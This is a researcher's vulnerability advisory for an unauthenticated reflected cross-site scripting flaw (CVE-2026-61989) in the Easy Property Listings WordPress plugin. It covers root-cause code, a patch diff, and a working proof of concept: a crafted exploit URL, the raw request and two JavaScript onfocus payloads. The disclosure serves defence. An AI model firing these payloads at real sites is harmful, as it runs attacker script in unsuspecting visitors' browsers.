CVE-2026-61989: Unauthenticated Cross Site Scripting (XSS) in Easy Property Listings WordPress Plugin

   
CVE CVE-2026-61989
Plugin Easy Property Listings (easy-property-listings)
Affected <= 3.5.25
Fixed in 3.5.26
Severity CVSS 7.1 High
Attacker needs no account (a visitor only has to open a link)
Advisory Patchstack
PoC Mor-Golan/CVE-2026-61989

Summary

I found that Easy Property Listings up to and including 3.5.25 lets an unauthenticated attacker run JavaScript in a WordPress site’s origin through a single link.
The plugin passes the raw $_GET array to a hook that the request itself names, and one listener on that hook writes an array key from the query string into a <select> tag without escaping it.
No account, nonce, plugin setting, shortcode or page content is required, and an injected autofocus attribute fires the payload as soon as the page loads.

Root cause

The entry point is epl_process_actions() in lib/includes/actions.php.
It is hooked to init, so it runs on every front end request:

function epl_process_actions() {

	if ( isset( $_POST['epl_action'] ) ) {
		do_action( 'epl_' . sanitize_text_field( wp_unslash( $_POST['epl_action'] ) ), $_POST );
	}

	if ( isset( $_GET['epl_action'] ) ) {
		do_action( 'epl_' . sanitize_text_field( wp_unslash( $_GET['epl_action'] ) ), $_GET );
	}
}
add_action( 'init', 'epl_process_actions' );

The request chooses which hook fires, and the whole raw $_GET array travels as the first hook argument. sanitize_text_field() cleans only the hook name, never the data.

One hook a request can reach is registered in EPL_Search_Fields::init() at lib/includes/class-epl-search-fields.php:36:

add_action( 'epl_frontend_search_field_select', array( $this, 'render_select' ), 10, 5 );

So ?epl_action=frontend_search_field_select calls render_select() with $_GET as its $field array.
When query[type] is numeric, the function builds data-min and data-max attributes from the first and last keys of $field['options'] (lines 149 to 155):

if ( isset( $field['query']['type'] ) && 'numeric' === $field['query']['type'] ) {
	current( $field['options'] );
	$opt_min = key( $field['options'] );
	end( $field['options'] );
	$opt_max      = key( $field['options'] );
	$min_max_atts = ' data-min="' . $opt_min . '" data-max="' . $opt_max . '" ';
}

That string is then printed straight into the tag (lines 166 to 170):

<select
	name="<?php echo esc_attr( $field['meta_key'] ); ?>"
	id="<?php echo esc_attr( $field['meta_key'] ); ?>"
	<?php echo $min_max_atts; //phpcs:ignore ?>
	class="in-field field-width <?php echo esc_attr( $field['meta_key'] ); ?>">

Every other value this function prints goes through esc_attr().
Line 169 is the one exception, and it carries a //phpcs:ignore that silences the coding standard warning.

WordPress slashing does not help.
Core’s add_magic_quotes() runs addslashes() over the values of the superglobals but never touches array keys, and the payload lives in a key (options[<payload>]=1).
Even a slashed quote would still close the attribute, because a backslash is not an escape character in HTML.

There is no guard anywhere on the path.
Neither the dispatcher nor render_select() checks a capability, a nonce or the login state, the add_action calls are unconditional, and both files are loaded on every request outside the plugin’s is_admin() block.
Because the dispatcher runs on init, the field is printed before the theme starts its output, so the injected <select> lands at the very top of the response.

Proof of concept

I tested on a local lab running WordPress 7.0.2 and PHP 8.2.32 under Apache, with Easy Property Listings 3.5.25 freshly activated.
I changed no setting and created no listing, shortcode or widget.

  1. Install and activate Easy Property Listings 3.5.25.
  2. While logged out, open this link:

    http://localhost:8080/?epl_action=frontend_search_field_select&meta_key=epl&label=epl&option_filter=epl&query%5Btype%5D=numeric&options%5Bx%22%20autofocus%20onfocus%3D%22alert%28document.domain%29%22%20z%3D%22%5D=1
    

The last parameter decodes to the array key x" autofocus onfocus="alert(document.domain)" z=".

  1. The alert fires on page load. autofocus moves focus to the injected <select>, so no click is needed.

The raw request:

GET /?epl_action=frontend_search_field_select&meta_key=epl&label=epl&option_filter=epl&query%5Btype%5D=numeric&options%5Bx%22%20autofocus%20onfocus%3D%22alert%28document.domain%29%22%20z%3D%22%5D=1 HTTP/1.1
Host: localhost:8080

It returns HTTP 200 with this tag (whitespace collapsed):

<select name="epl" id="epl" data-min="x" autofocus onfocus="alert(document.domain)" z="" data-max="x" autofocus onfocus="alert(document.domain)" z="" class="in-field field-width epl">

autofocus and onfocus are now real attributes of the element.
In the same response, the option list prints the same key through esc_attr(), and there its quotes come back as &quot;.
Only the data-min and data-max path is raw.

To prove execution and not just reflection, I used a second payload that builds a marker in the browser from character codes, so the marker string never appears in the request:

x" autofocus onfocus="document.title=String.fromCharCode(69,80,76,88,83,83,45,79,75);var d=document.createElement('h1');d.id='eplproof';d.style.color='red';d.textContent=document.title+' - easy-property-listings 3.5.25 - '+document.domain;document.body.insertBefore(d,document.body.firstChild)" z="

I also ran controls that each change one thing, and none of them injected anything:

The PoC repository has a bash script that sends the request and checks the rendered tag, and an attacker page that builds the link:

./poc-epl-unauth-reflected-xss.sh http://localhost:8080

The script prints the rendered <select> tag and exits with 0 when the injection renders, 1 when it does not, and 2 when the request fails.

Impact

I opened the marker link in a browser as an anonymous visitor with no WordPress login cookie.
The result:

Injected red heading reading EPLXSS-OK above the injected select field

The same request returned the unescaped breakout for anonymous, Subscriber and Administrator sessions alike, so every visitor reaches the vulnerable code.
The script runs in the site’s own origin and can read and change the page the visitor sees.
WordPress login cookies are HttpOnly, so I did not claim session cookie theft, and I did not stage any further action such as creating users or reading privileged data.
What I demonstrated is script execution in the visitor’s browser in the context of the site, triggered by nothing more than opening a link.

Fix

Update Easy Property Listings to 3.5.26 or later.

The patch I suggested escapes both keys before they are joined into the attribute string and removes the phpcs:ignore:

--- a/lib/includes/class-epl-search-fields.php
+++ b/lib/includes/class-epl-search-fields.php
@@
-			$min_max_atts = ' data-min="' . $opt_min . '" data-max="' . $opt_max . '" ';
+			$min_max_atts = ' data-min="' . esc_attr( $opt_min ) . '" data-max="' . esc_attr( $opt_max ) . '" ';
@@
-					<?php echo $min_max_atts; //phpcs:ignore ?>
+					<?php echo $min_max_atts; ?>

The deeper problem is the dispatcher in lib/includes/actions.php.
Handing the raw $_GET array to a hook named by the request turns every listener into a sink for untrusted input.
An allowlist of dispatchable epl_action values would close the whole class rather than this one instance.

Timeline

References

All research · All CVEs